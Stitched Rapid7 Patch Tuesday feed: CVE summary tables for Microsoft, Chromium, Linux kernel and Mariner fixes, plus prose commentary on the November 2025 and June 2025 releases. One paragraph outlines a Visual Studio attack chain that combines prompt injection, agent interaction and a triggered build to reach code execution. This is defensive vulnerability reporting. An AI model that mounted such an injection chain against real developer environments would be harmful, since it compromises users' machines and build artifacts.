CVE-2025-13634

Chromium: CVE-2025-13634 Inappropriate implementation in Downloads

No

No

N/A

CVE-2025-13633

Chromium: CVE-2025-13633 Use after free in Digital Credentials

No

No

N/A

CVE-2025-13632

Chromium: CVE-2025-13632 Inappropriate implementation in DevTools

No

No

N/A

CVE-2025-13631

Chromium: CVE-2025-13631 Inappropriate implementation in Google Updater

No

No

N/A

CVE-2025-13630

Chromium: CVE-2025-13630 Type Confusion in V8

No

No

N/A

Mariner vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-12819

Untrusted search path in auth_query connection in PgBouncer

No

No

7.5

CVE-2025-59775

Apache HTTP Server: NTLM Leakage on Windows through UNC SSRF

No

No

7.5

CVE-2025-65082

Apache HTTP Server: CGI environment variable override

No

No

6.5

CVE-2025-66200

Apache HTTP Server: mod_userdir+suexec bypass via AllowOverride FileInfo

No

No

5.4

Microsoft Office vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-64672

Microsoft SharePoint Server Spoofing Vulnerability

No

No

8.8

CVE-2025-62554

Microsoft Office Remote Code Execution Vulnerability

No

No

8.4

CVE-2025-62557

Microsoft Office Remote Code Execution Vulnerability

No

No

8.4

CVE-2025-62558

Microsoft Word Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62559

Microsoft Word Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62562

Microsoft Outlook Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62561

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62563

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62564

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62553

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62556

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62560

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62552

Microsoft Access Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62555

Microsoft Word Remote Code Execution Vulnerability

No

No

7

Open Source Software vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-40244

hfsplus: fix KMSAN uninit-value issue in __hfsplus_ext_cache_extent()

No

No

9.8

CVE-2025-40242

gfs2: Fix unlikely race in gdlm_put_lock

No

No

9.8

CVE-2025-40251

devlink: rate: Unset parent pointer in devl_rate_nodes_destroy

No

No

9.8

CVE-2025-40262

Input: imx_sc_key – fix memory corruption on unload

No

No

9.8

CVE-2025-40240

sctp: avoid NULL dereference when chunk data buffer is missing

No

No

8.6

CVE-2025-40314

usb: cdns3: gadget: Use-after-free during failed initialization and exit of cdnsp gadget

No

No

7.8

CVE-2025-40223

most: usb: Fix use-after-free in hdm_disconnect

No

No

7.8

CVE-2025-40272

mm/secretmem: fix use-after-free race in fault handler

No

No

7.8

CVE-2025-40319

bpf: Sync pending IRQ work before freeing ring buffer

No

No

7.8

CVE-2025-66476

Vim for Windows Uncontrolled Search Path Element Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-40277

drm/vmwgfx: Validate command header size against SVGA_CMD_MAX_DATASIZE

No

No

7.3

CVE-2023-53749

x86: fix clear_user_rep_good() exception handling annotation

No

No

7.1

CVE-2025-40233

ocfs2: clear extent cache after moving/defragmenting extents

No

No

7.1

CVE-2025-40312

jfs: Verify inode mode when loading from disk

No

No

7.1

CVE-2025-40322

fbdev: bitblit: bound-check glyph index in bit_putcs*

No

No

7.1

CVE-2025-40266

KVM: arm64: Check the untrusted offset in FF-A memory share

No

No

7.1

CVE-2025-40301

Bluetooth: hci_event: validate skb length for unknown CC opcode

No

No

7.1

CVE-2025-40283

Bluetooth: btusb: reorder cleanup in btusb_disconnect to avoid UAF

No

No

7.1

CVE-2025-40292

virtio-net: fix received length check in big packets

No

No

7

CVE-2025-40280

tipc: Fix use-after-free in tipc_mon_reinit_self().

No

No

7

CVE-2025-40281

sctp: prevent possible shift-out-of-bounds in sctp_transport_update_rto

No

No

7

CVE-2025-40297

net: bridge: fix use-after-free due to MST port state bypass

No

No

7

CVE-2025-40258

mptcp: fix race condition in mptcp_schedule_work()

No

No

7

CVE-2025-40273

NFSD: free copynotify stateid in nfs4_free_ol_stateid()

No

No

7

CVE-2025-40305

9p/trans_fd: p9_fd_request: kick rx thread if EPOLLIN

No

No

7

CVE-2025-40261

nvme: nvme-fc: Ensure ->ioerr_work is cancelled in nvme_fc_delete_ctrl()

No

No

6.6

CVE-2025-40243

hfs: fix KMSAN uninit-value issue in hfs_find_set_zero_bits()

No

No

6.6

CVE-2025-40321

wifi: brcmfmac: fix crash while sending Action Frames in standalone AP Mode

No

No

6.5

CVE-2025-40248

vsock: Ignore signal/timeout on connect() if already established

No

No

6.3

CVE-2025-40257

mptcp: fix a race in mptcp_pm_del_add_timer()

No

No

6.3

CVE-2025-40259

scsi: sg: Do not sleep in atomic context

No

No

6.2

CVE-2025-40252

net: qlogic/qede: fix potential out-of-bounds read in qede_tpa_cont() and qede_tpa_end()

No

No

6.1

CVE-2025-40215

xfrm: delete x->tunnel as we delete x

No

No

5.5

CVE-2025-40315

usb: gadget: f_fs: Fix epfile null pointer access after ep enable.

No

No

5.5

CVE-2025-40285

smb/server: fix possible refcount leak in smb2_sess_setup()

No

No

5.5

CVE-2025-40286

smb/server: fix possible memory leak in smb2_read()

No

No

5.5

CVE-2025-40253

s390/ctcm: Fix double-kfree

No

No

5.5

CVE-2025-40317

regmap: slimbus: fix bus_context pointer in regmap init calls

No

No

5.5

CVE-2025-40217

pidfs: validate extensible ioctls

No

No

5.5

CVE-2025-40306

orangefs: fix xattr related buffer overflow…

No

No

5.5

CVE-2025-40313

ntfs3: pretend $Extend records as regular files

No

No

5.5

CVE-2025-40245

nios2: ensure that memblock.current_limit is set when setting pfn limits

No

No

5.5

CVE-2025-40278

net: sched: act_ife: initialize struct tc_ife to fix KMSAN kernel-infoleak

No

No

5.5

CVE-2025-40279

net: sched: act_connmark: initialize struct tc_ife to fix kernel leak

No

No

5.5

CVE-2025-40254

net: openvswitch: remove never-working support for setting nsh fields

No

No

5.5

CVE-2025-40250

net/mlx5: Clean up only new IRQ glue on request_irq() failure

No

No

5.5

CVE-2025-40293

iommufd: Don’t overflow during division for dirty tracking

No

No

5.5

CVE-2025-40220

fuse: fix livelock in synchronous file put from fuseblk workers

No

No

5.5

CVE-2025-40304

fbdev: Add bounds checking in bit_putcs to fix vmalloc-out-of-bounds

No

No

5.5

CVE-2025-40323

fbcon: Set fb_display[i]->mode to NULL when the mode is released

No

No

5.5

CVE-2025-40307

exfat: validate cluster allocation bits of the allocation bitmap

No

No

5.5

CVE-2025-40287

exfat: fix improper check of dentry.stream.valid_size

No

No

5.5

CVE-2025-40247

drm/msm: Fix pgtable prealloc error path

No

No

5.5

CVE-2025-40289

drm/amdgpu: hide VRAM sysfs attributes on GPUs without VRAM

No

No

5.5

CVE-2025-40268

cifs: client: fix memory leak in smb3_fs_context_parse_param

No

No

5.5

CVE-2025-40303

btrfs: ensure no dirty metadata is written back for an fs with errors

No

No

5.5

CVE-2025-40264

be2net: pass wrb_params in case of OS2BMC

No

No

5.5

CVE-2025-40310

amd/amdkfd: resolve a race in amdgpu_amdkfd_device_fini_sw

No

No

5.5

CVE-2025-40311

accel/habanalabs: support mapping cb with vmalloc-backed coherent memory

No

No

5.5

CVE-2025-40219

PCI/IOV: Add PCI rescan-remove locking when enabling/disabling SR-IOV

No

No

5.5

CVE-2025-40324

NFSD: Fix crash in nfsd4_read_release()

No

No

5.5

CVE-2025-40263

Input: cros_ec_keyb – fix an invalid memory access

No

No

5.5

CVE-2025-40308

Bluetooth: bcsp: receive data only if registered

No

No

5.5

CVE-2025-40309

Bluetooth: SCO: Fix UAF on sco_conn_free

No

No

5.5

CVE-2025-40284

Bluetooth: MGMT: cancel mesh send timer when hdev removed

No

No

5.5

CVE-2025-40294

Bluetooth: MGMT: Fix OOB access in parse_adv_monitor_pattern()

No

No

5.5

CVE-2025-40282

Bluetooth: 6lowpan: reset link-local header on ipv6 recv path

No

No

5.5

CVE-2025-40275

ALSA: usb-audio: Fix NULL pointer dereference in snd_usb_mixer_controls_badd

No

No

5.5

CVE-2025-40288

drm/amdgpu: Fix NULL pointer dereference in VRAM logic for APU devices

No

No

4.7

CVE-2025-40269

ALSA: usb-audio: Fix potential overflow of PCM transfer buffer

No

No

4.3

CVE-2025-40218

mm/damon/vaddr: do not repeat pte_offset_map_lock() until success

No

No

4.1

CVE-2025-12385

Improper validation of  tag size in Text component parser

No

No

N/A

Open Source Software Mariner vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-61729

Excessive resource consumption when printing error string for host certificate validation in crypto/x509

No

No

7.5

CVE-2025-66293

LIBPNG has an out-of-bounds read in png_image_read_composite

No

No

7.1

CVE-2025-61727

Improper application of excluded DNS name constraints when verifying wildcard names in crypto/x509

No

No

6.5

CVE-2025-65637

A denial-of-service vulnerability exists in github.com/sirupsen/logrus when using Entry.Writer() to log a single-line payload larger than 64KB without newline characters.

No

No

5.9

CVE-2025-12084

Quadratic complexity in node ID cache clearing

No

No

N/A

CVE-2025-13837

Out-of-memory when loading Plist

No

No

N/A

CVE-2025-34297

KissFFT Integer Overflow Heap Buffer Overflow via kiss_fft_alloc

No

No

N/A

CVE-2025-13836

Excessive read buffering DoS in http.client

No

No

N/A

Other vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-64671

GitHub Copilot for Jetbrains Remote Code Execution Vulnerability

No

Yes

8.4

Server Software ESU vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-64666

Microsoft Exchange Server Elevation of Privilege Vulnerability

No

No

7.5

CVE-2025-64667

Microsoft Exchange Server Spoofing Vulnerability

No

No

5.3

Windows vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-62456

Windows Resilient File System (ReFS) Remote Code Execution Vulnerability

No

No

8.8

CVE-2025-64673

Windows Storage VSP Driver Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-59516

Windows Storage VSP Driver Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-59517

Windows Storage VSP Driver Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-64661

Windows Shell Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62461

Windows Projected File System Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62462

Windows Projected File System Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62464

Windows Projected File System Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-55233

Windows Projected File System Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62467

Windows Projected File System Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-64679

Windows DWM Core Library Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-64680

Windows DWM Core Library Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62454

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62457

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62221

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Yes

No

7.8

CVE-2025-62572

Application Information Service Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-64658

Windows File Explorer Elevation of Privilege Vulnerability

No

No

7.5

CVE-2025-62565

Windows File Explorer Elevation of Privilege Vulnerability

No

No

7.3

CVE-2025-62570

Windows Camera Frame Server Monitor Information Disclosure Vulnerability

No

No

7.1

CVE-2025-62469

Microsoft Brokering File System Elevation of Privilege Vulnerability

No

No

7

CVE-2025-62569

Microsoft Brokering File System Elevation of Privilege Vulnerability

No

No

7

CVE-2025-62573

DirectX Graphics Kernel Elevation of Privilege Vulnerability

No

No

7

CVE-2025-64670

Windows DirectX Information Disclosure Vulnerability

No

No

6.5

CVE-2025-62463

DirectX Graphics Kernel Denial of Service Vulnerability

No

No

6.5

CVE-2025-62465

DirectX Graphics Kernel Denial of Service Vulnerability

No

No

6.5

CVE-2025-62468

Windows Defender Firewall Service Information Disclosure Vulnerability

No

No

4.4

Windows ESU vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-62549

Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability

No

No

8.8

CVE-2025-64678

Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability

No

No

8.8

CVE-2025-62472

Windows Remote Access Connection Manager Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62474

Windows Remote Access Connection Manager Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62571

Windows Installer Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62470

Windows Common Log File System Driver Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62466

Windows Client-Side Caching Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62458

Win32k Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-54100

PowerShell Remote Code Execution Vulnerability

No

Yes

7.8

CVE-2025-62455

Microsoft Message Queuing (MSMQ) Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-62473

Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability

No

No

6.5

CVE-2025-62567

Windows Hyper-V Denial of Service Vulnerability

No

No

5.3

Patch Tuesday – November 2025

Post Syndicated from Adam Barnett original https://www.rapid7.com/blog/post/em-patch-tuesday-november-2025

Microsoft is publishing 66 new vulnerabilities today, which is far fewer than we’ve come to expect in recent months. There’s a lone exploited-in-the-wild zero-day vulnerability, which Microsoft assesses as critical severity, although there’s apparently no public disclosure yet. Three critical remote code execution (RCE) vulnerabilities are patched today; happily, Microsoft currently assesses all three as less likely to see exploitation. Five browser vulnerabilities and a dozen or so fixes for Azure Linux (aka Mariner) have already been published separately this month, and are not included in the total.

Windows GDI+: critical 0-day RCE

Faced with a fresh stack of Patch Tuesday vulns, there are a few different ways to prioritize our analysis. Do we start with vulns exploited in the wild? Pre-authentication RCEs? The vuln with the highest CVSS base score? The vuln which is likely to affect just about every asset running Microsoft software? Any of these are sensible avenues of approach, and today, all roads lead to CVE-2025-60724. As the advisory notes, in the worst-case scenario, an attacker could exploit this vulnerability by uploading a malicious document to a vulnerable web service. The advisory doesn’t spell out the context of code execution, but if all the stars align for the attacker, the prize could be remote code execution as SYSTEM via the network without any need for an existing foothold. While this vuln almost certainly isn’t wormable, it’s clearly very serious and is surely a top priority for just about anyone considering how to approach this month’s patches.

The weakness underlying CVE-2025-60724 is CWE-122: Heap-based buffer overflow, a concept which celebrated its 50th birthday several years ago. As the authors of the original 1972 paper noted: “If the code makes use of an internal buffer, there is a possibility that a user could input enough data to overwrite other portions of the program’s private storage.” Regarding computer security in general, they opined that “this problem is neither hopeless nor solved. It is, however, perfectly clear […] that solutions to the problem will not occur spontaneously, nor will they come from the various well-intentioned attempts to provide security as an add-on to existing systems.”

Office: critical ACE

Once again, we find ourselves wondering: “when is remote code execution really remote?” CVE-2025-62199 describes a critical RCE vulnerability in Microsoft Office, where exploitation relies on the user downloading and opening a malicious file. The attacker is remote, and that’s enough to satisfy the definition, even if the action is taken on the local system by the unwitting user. Anyone hoping that the Preview Pane is not a vector will be sadly disappointed, and this certainly increases the probability of real-world exploitation, since there’s no need for the attacker to craft a way around those pesky warnings about enabling dangerous content. Just scrolling through a list of emails in Outlook could be enough.

Visual Studio: critical RCE

Some attacks are straightforward, with only a single step needed to reach the finish line. Others, like Visual Studio critical RCE CVE-2025-62214, require that the attacker execute a complex chain of events. In this case, exploitation demands multi-stage abuse of recent advances in Visual Studio AI development capabilities, including prompt injection, Agent interaction, and triggering a build. The advisory doesn’t describe the context of code execution. If the prize is simply code execution on an asset in the context of the user, there’s no obvious advancement for the attacker, since exploitation already requires code execution on the asset by the attacker or the targeted user. The brief description of the attack chain does mention that the attacker would need to trigger a build. On that basis, possible outcomes might include execution in an elevated context, or compromised build artifacts, although the advisory does not provide enough information to be certain either way.

SQL Server: critical EoP

SQL Server admins should take note of CVE-2025-59499, which describes an elevation of privilege (EoP) vulnerability. Although some level existing privileges are required, successful exploitation will permit an attacker to run arbitrary Transact-SQL (T-SQL) commands. T-SQL is the language which SQL Server databases and clients use to communicate with one another. Although the default configuration for SQL Server disables the xp_cmdshell functionality which allows direct callouts to the underlying OS, there’s more than one way to shine a penny, and the only safe assumption here is that exploitation will lead to code execution in the context of SQL Server itself. Patches are available for all supported versions of SQL Server.

Microsoft lifecycle update

Following the sweeping lifecycle changes seen in October 2025, Microsoft is taking it fairly easy this month. The only significant transition today is the end of support for Windows 11 Home and Pro 23H2. Unlike the demise of Windows 10, this much smaller change won’t affect most people; a small number of older CPUs might not make the cut, since Windows 11 24H2 introduces a requirement for a couple of newer CPU instruction sets. Microsoft provides lists of compatible Intel, AMD, and Qualcomm CPU series.

Summary charts

A bar chart showing vulnerability count by component for Microsoft Patch Tuesday 2025-Nov

A bar chart showing vulnerability count by impact for Microsoft Patch Tuesday 2025-Nov

A heat map showing impact type by component for Microsoft Patch Tuesday 2025-Nov

Summary tables

Azure vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-59504

Azure Monitor Agent Remote Code Execution Vulnerability

No

No

7.3

Browser vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-12729

Chromium: CVE-2025-12729 Inappropriate implementation in Omnibox

No

No

N/A

CVE-2025-12728

Chromium: CVE-2025-12728 Inappropriate implementation in Omnibox

No

No

N/A

CVE-2025-12727

Chromium: CVE-2025-12727 Inappropriate implementation in V8

No

No

N/A

CVE-2025-12726

Chromium: CVE-2025-12726 Inappropriate implementation in Views.

No

No

N/A

CVE-2025-12725

Chromium: CVE-2025-12725 Out of bounds write in WebGPU

No

No

N/A

Developer Tools vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-62222

Agentic AI and Visual Studio Code Remote Code Execution Vulnerability

No

No

8.8

CVE-2025-62449

Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability

No

No

6.8

CVE-2025-62214

Visual Studio Remote Code Execution Vulnerability

No

No

6.7

CVE-2025-62453

GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability

No

No

5

Mariner Open Source Software vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2024-25621

containerd affected by a local privilege escalation via wide permissions on CRI directory

No

No

7.3

CVE-2025-10966

missing SFTP host verification with wolfSSH

No

No

6.8

CVE-2025-64329

containerd CRI server: Host memory exhaustion through Attach goroutine leak

No

No

N/A

Microsoft Dynamics vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-62210

Dynamics 365 Field Service (online) Spoofing Vulnerability

No

No

8.7

CVE-2025-62211

Dynamics 365 Field Service (online) Spoofing Vulnerability

No

No

8.7

CVE-2025-62206

Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability

No

No

6.5

Microsoft Office vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-62204

Microsoft SharePoint Remote Code Execution Vulnerability

No

No

8

CVE-2025-62199

Microsoft Office Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62216

Microsoft Office Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62205

Microsoft Office Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-60727

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62200

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62201

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-62203

Microsoft Excel Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-60726

Microsoft Excel Information Disclosure Vulnerability

No

No

7.1

CVE-2025-62202

Microsoft Excel Information Disclosure Vulnerability

No

No

7.1

CVE-2025-60722

Microsoft OneDrive for Android Elevation of Privilege Vulnerability

No

No

6.5

CVE-2025-59240

Microsoft Excel Information Disclosure Vulnerability

No

No

5.5

CVE-2025-60728

Microsoft Excel Information Disclosure Vulnerability

No

No

4.3

Open Source Software vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-62220

Windows Subsystem for Linux GUI Remote Code Execution Vulnerability

No

No

8.8

CVE-2025-12863

Libxml2: namespace use-after-free in xmlsettreedoc() function of libxml2

No

No

7.5

CVE-2025-64433

KubeVirt Arbitrary Container File Read

No

No

6.5

CVE-2025-40107

can: hi311x: fix null pointer dereference when resuming from sleep before interface was enabled

No

No

5.5

CVE-2025-60753

An issue was discovered in libarchive bsdtar before version 3.8.1 in function apply_substitution in file tar/subst.c when processing crafted -s substitution rules. This can cause unbounded memory allocation and lead to denial of service (Out-of-Memory crash).

No

No

5.5

CVE-2025-12875

mruby array.c ary_fill_exec out-of-bounds write

No

No

5.3

CVE-2025-64435

KubeVirt VMI Denial-of-Service (DoS) Using Pod Impersonation

No

No

5.3

CVE-2025-64437

KubeVirt Isolation Detection Flaw Allows Arbitrary File Permission Changes

No

No

5

CVE-2025-64434

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing

No

No

4.7

CVE-2025-64432

KubeVirt Affected by an Authentication Bypass in Kubernetes Aggregation Layer

No

No

4.7

CVE-2025-40109

crypto: rng – Ensure set_ent is always present

No

No

4.2

CVE-2025-52881

runc: LSM labels can be bypassed with malicious config using dummy procfs files

No

No

N/A

CVE-2025-31133

runc container escape via “masked path” abuse due to mount race conditions

No

No

N/A

CVE-2025-52565

container escape due to /dev/console mount and related races

No

No

N/A

CVE-2025-64436

KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes

No

No

N/A

Other vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-30398

Nuance PowerScribe 360 Information Disclosure Vulnerability

No

No

8.1

SQL Server vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-59499

Microsoft SQL Server Elevation of Privilege Vulnerability

No

No

8.8

System Center vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-47179

Configuration Manager Elevation of Privilege Vulnerability

No

No

6.7

Windows vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-59511

Windows WLAN Service Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-60713

Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-60718

Windows Administrator Protection Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-60721

Windows Administrator Protection Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-60707

Multimedia Class Scheduler Service (MMCSS) Driver Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-60710

Host Process for Windows Tasks Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-59507

Windows Speech Runtime Elevation of Privilege Vulnerability

No

No

7

CVE-2025-59508

Windows Speech Recognition Elevation of Privilege Vulnerability

No

No

7

CVE-2025-62215

Windows Kernel Elevation of Privilege Vulnerability

Yes

No

7

CVE-2025-59515

Windows Broadcast DVR User Service Elevation of Privilege Vulnerability

No

No

7

CVE-2025-60717

Windows Broadcast DVR User Service Elevation of Privilege Vulnerability

No

No

7

CVE-2025-62218

Microsoft Wireless Provisioning System Elevation of Privilege Vulnerability

No

No

7

CVE-2025-62219

Microsoft Wireless Provisioning System Elevation of Privilege Vulnerability

No

No

7

CVE-2025-60716

DirectX Graphics Kernel Elevation of Privilege Vulnerability

No

No

7

CVE-2025-60708

Storvsp.sys Driver Denial of Service Vulnerability

No

No

6.5

CVE-2025-60723

DirectX Graphics Kernel Denial of Service Vulnerability

No

No

6.3

CVE-2025-59509

Windows Speech Recognition Information Disclosure Vulnerability

No

No

5.5

CVE-2025-62208

Windows License Manager Information Disclosure Vulnerability

No

No

5.5

CVE-2025-62209

Windows License Manager Information Disclosure Vulnerability

No

No

5.5

CVE-2025-60706

Windows Hyper-V Information Disclosure Vulnerability

No

No

5.5

CVE-2025-60724

GDI+ Remote Code Execution Vulnerability

Yes

No

9.8

Windows ESU vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-62452

Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability

No

No

8

CVE-2025-60715

Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability

No

No

8

CVE-2025-60720

Windows Transport Driver Interface (TDI) Translation Driver Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-59505

Windows Smart Card Reader Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-60703

Windows Remote Desktop Services Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-60714

Windows OLE Remote Code Execution Vulnerability

No

No

7.8

CVE-2025-60709

Windows Common Log File System Driver Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-60705

Windows Client-Side Caching Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-59514

Microsoft Streaming Service Proxy Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-59512

Customer Experience Improvement Program (CEIP) Elevation of Privilege Vulnerability

No

No

7.8

CVE-2025-60704

Windows Kerberos Elevation of Privilege Vulnerability

No

No

7.5

CVE-2025-60719

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

No

No

7

CVE-2025-62217

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

No

No

7

CVE-2025-62213

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

No

No

7

CVE-2025-59506

DirectX Graphics Kernel Elevation of Privilege Vulnerability

No

No

7

CVE-2025-59510

Windows Routing and Remote Access Service (RRAS) Denial of Service Vulnerability

No

No

5.5

CVE-2025-59513

Windows Bluetooth RFCOM Protocol Driver Information Disclosure Vulnerability

No

No

5.5

CVE-2025-60724

GDI+ Remote Code Execution Vulnerability

Yes

No

9.8

Windows Microsoft Office ESU vulnerabilities

CVE

Title

Exploited?

Publicly disclosed?

CVSSv3 base score

CVE-2025-60724

GDI+ Remote Code Execution Vulnerability

No

No

9.8

Updates

  • 2025-11-11: clarified the description of CVE-2025-62214.

Patch Tuesday – June 2025

Post Syndicated from Adam Barnett original https://blog.rapid7.com/2025/06/10/patch-tuesday-june-2025/

Patch Tuesday - June 2025

Microsoft is addressing 67 vulnerabilities this June 2025 Patch Tuesday. Microsoft has evidence of in-the-wild exploitation for just one of the vulnerabilities published today, and that is reflected in CISA KEV. Separately, Microsoft is aware of existing public disclosure for one other freshly published vulnerability. Microsoft’s luck holds for a ninth consecutive Patch Tuesday, since neither of today’s zero-day vulnerabilities are evaluated as critical severity at time of publication. Today also sees the publication of eight critical remote code execution (RCE) vulnerabilities. Two browser vulnerabilities have already been published separately this month, and are not included in the total.

Windows WebDAV: zero-day RCE

Remember the WebDAV standard? It has been seven years since Microsoft has published a vulnerability in the Windows implementation of WebDAV, and today’s publication of CVE-2025-33053 is the first zero-day vulnerability on record. Originally dreamed up in the 1990s to support interactivity on the web, WebDAV may be familiar to Exchange admins and users of a certain vintage, since older versions of Exchange, up to and including Exchange Server 2010, supported WebDAV as a means for interacting with mailboxes and public folders.

It will surprise no one that Windows still more or less supports WebDAV, and that turns out to be a bit of a problem. Microsoft acknowledges Check Point Research (CPR) on the advisory; CPR in turn attributes exploitation of CVE-2025-33053 to an APT, which they track as Stealth Falcon, an established threat actor with a long-running interest in governments and government-adjacent entities across the Middle East and the surrounding area.

Curiously, the Microsoft advisory does not mention that the Windows implementation of WebDAV is listed as deprecated since November 2023, which in practical terms means that the WebClient service no longer starts by default. The advisory also has attack complexity as low, which means that exploitation does not require preparation of the target environment in any way that is beyond the attacker’s control. Exploitation relies on the user clicking a malicious link. It’s not clear how an asset would be immediately vulnerable if the service isn’t running, but all versions of Windows receive a patch, including those released since the deprecation of WebClient, like Server 2025 and Windows 11 24H2. On Server 2025, for instance, it’s still possible to install the WebDAV Redirector server feature, which then causes the WebClient service to appear.

SMB client: zero-day EoP

Publicly disclosed elevation of privilege (EoP) zero-day vulnerabilities that lead to SYSTEM are always going to be worth a closer look, and CVE-2025-33073 is no exception. The advisory sets out that the easiest path to exploitation simply requires the user to connect to a malicious SMB server controlled by the attacker. It’s not entirely clear from the advisory whether simply connecting is enough to trigger exploitation, or whether successful authentication is required, since there is currently conflicting language in two separate FAQ entries with almost-identical titles: “How could an attacker exploit this/the vulnerability?” It may well be that Microsoft will come back around and clarify this wording, but in the meantime the only safe assumption is that fortune favours the attacker.

Windows KDC Proxy: critical RCE

The Windows KDC Proxy Service (KPSSVC) receives a patch today for CVE-2025-33071, which describes a critical unauthenticated RCE vulnerability where exploitation is via abuse of a cryptographic protocol weakness. The good news is that only Windows Server assets configured as a Kerberos Key Distribution Center Proxy Protocol server — happily, this is not enabled as standard configuration for a domain controller — and exploitation requires that the attacker win a race condition. The bad news is that Microsoft considers exploitation more likely regardless, and since a KDC proxy helps Kerberos requests from untrusted networks more easily access trusted assets without any need for a direct TCP connection from the client to the domain controller, the trade-off here is that the KDC proxy itself is quite likely to be exposed to an untrusted network. Patching this vulnerability should be top of mind for affected defenders this month.

Office preview pane: trio of critical RCEs

